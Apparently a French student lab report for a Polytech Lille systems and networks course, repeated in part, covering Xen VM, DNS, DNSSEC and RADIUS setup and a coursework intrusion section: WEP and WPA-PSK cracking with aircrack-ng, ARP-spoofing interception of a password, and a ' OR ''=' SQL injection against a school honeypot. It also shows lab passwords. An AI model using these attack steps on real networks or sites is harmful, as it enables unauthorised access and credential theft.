udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171
www IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

Fichier:DNS Léna.PNG

2020-11-17T13:11:36Z

Lchenu :

TP sysres IMA2a5 2020/2021 G7

2020-11-17T12:57:43Z

Lchenu : /* Intrusion sur un serveur d’application Web */

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171
www IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
